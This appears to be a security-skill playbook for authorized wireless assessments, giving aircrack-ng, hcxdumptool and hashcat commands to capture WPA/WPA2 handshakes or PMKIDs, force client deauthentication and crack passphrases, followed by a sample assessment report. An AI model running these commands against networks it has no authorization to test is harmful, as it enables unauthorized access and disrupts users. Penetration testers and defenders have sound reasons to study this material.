performing-wifi-password-cracking-with-aircrack

Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture.

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name	performing-wifi-password-cracking-with-aircrack
description	Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture.
domain	cybersecurity
subdomain	network-security
tags	["network-security","wifi","aircrack-ng","wpa2","wireless-security"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]

Performing WiFi Password Cracking with Aircrack-ng

When to Use

Assessing the strength of WPA/WPA2/WPA3 passphrases during authorized wireless penetration tests
Testing whether wireless networks are using weak or default passwords that can be cracked offline
Capturing and analyzing 4-way handshakes to evaluate wireless authentication security
Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders
Validating that enterprise wireless networks use 802.1X/EAP instead of pre-shared keys

Do not use against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test.

Prerequisites

Written authorization specifying in-scope SSIDs and wireless networks
Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar)
Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed
Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists)
GPU-capable system for hashcat acceleration (optional but recommended for large wordlists)

Workflow

Step 1: Prepare the Wireless Interface

# Identify wireless interfaces
iwconfig
# or
iw dev

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon

# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"

# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Step 2: Scan for Target Networks

# Scan all channels for access points
 airodump-ng wlan0mon












 airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture

# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture

# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2

# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng

# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID

# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c

# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap

# If successful, output shows:
# KEY FOUND! [ password123 ]

# Convert capture to hashcat format
# For handshake captures:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap

# Or use aircrack-ng conversion
aircrack-ng handshake_capture-01.cap -j hashcat_input

# Dictionary attack with hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt

# Rule-based attack (transforms dictionary words)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force 8-character numeric passwords
hashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d

# Combination attack (two wordlists combined)
hashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt

# Mask attack for common patterns (Word + 4 digits)
hashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d

# For PMKID-specific hashes
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

# Show cracked password
hashcat -m 22000 hashcat_input.hc22000 --show

# Stop monitor mode
sudo airmon-ng stop wlan0mon

# Restart networking services
sudo systemctl restart NetworkManager

# Generate report
cat > wifi_assessment_report.txt << 'EOF'
WiFi Security Assessment Results
=================================
Target SSID: TargetNetwork
BSSID: AA:BB:CC:DD:EE:FF
Encryption: WPA2-PSK (CCMP)
Channel: 6

Handshake Capture: Successful (Method: Client deauthentication)
Cracking Result: PASSWORD FOUND
Password: [documented securely]
Time to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)

Recommendation: Change to a passphrase of 15+ characters with mixed case,
numbers, and symbols, or migrate to WPA2/WPA3-Enterprise with 802.1X.
EOF

# Securely handle capture files (contain sensitive authentication material)
sha256sum handshake_capture-01.cap > evidence_hashes.txt
# Transfer to secure evidence storage per engagement agreement

Term	Definition
4-Way Handshake	WPA/WPA2 authentication exchange between client and AP that derives session keys from the PSK, captured for offline password cracking
PMKID	Pairwise Master Key Identifier included in the first EAPOL frame from the AP, allowing password cracking without capturing the full handshake or requiring a connected client
Monitor Mode	Wireless interface mode that captures all wireless frames on a channel without associating with any access point
Deauthentication Attack	Sending forged 802.11 management frames to disconnect a client from the AP, forcing a reconnection that generates a capturable handshake
PSK (Pre-Shared Key)	Static password used by all users to authenticate to a WPA/WPA2-Personal network, vulnerable to offline dictionary attacks
802.1X/EAP	Enterprise wireless authentication using RADIUS that provides per-user credentials, eliminating the shared password vulnerability

## Wireless Security Assessment Report

**Assessment Date**: 2024-03-15
**Location**: Corporate Office, Building A

### Network Inventory

| SSID | BSSID | Encryption | Auth | Channel | Crackable |
|------|-------|------------|------|---------|-----------|
| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N/A (Enterprise) |
| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |
| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |

### Findings

**Finding 1: Weak Guest-WiFi Password (High)**
- Password: "Welcome2024!" (cracked via dictionary in 47 seconds)
- Present in rockyou.txt top 100,000 entries
- Shared among all visitors with no rotation policy

**Finding 2: Trivial IoT-WiFi Password (Critical)**
- Password: "iot12345" (cracked in 12 seconds)
- Default-pattern password providing access to IoT device network
- No network segmentation between IoT-WiFi and corporate resources

### Recommendations
1. Migrate Guest-WiFi to captive portal with per-session credentials
2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation
3. Implement network segmentation isolating IoT VLAN from corporate resources
4. Consider WPA3-SAE for PSK networks to prevent offline cracking
5. Enable 802.11w Protected Management Frames to prevent deauth attacks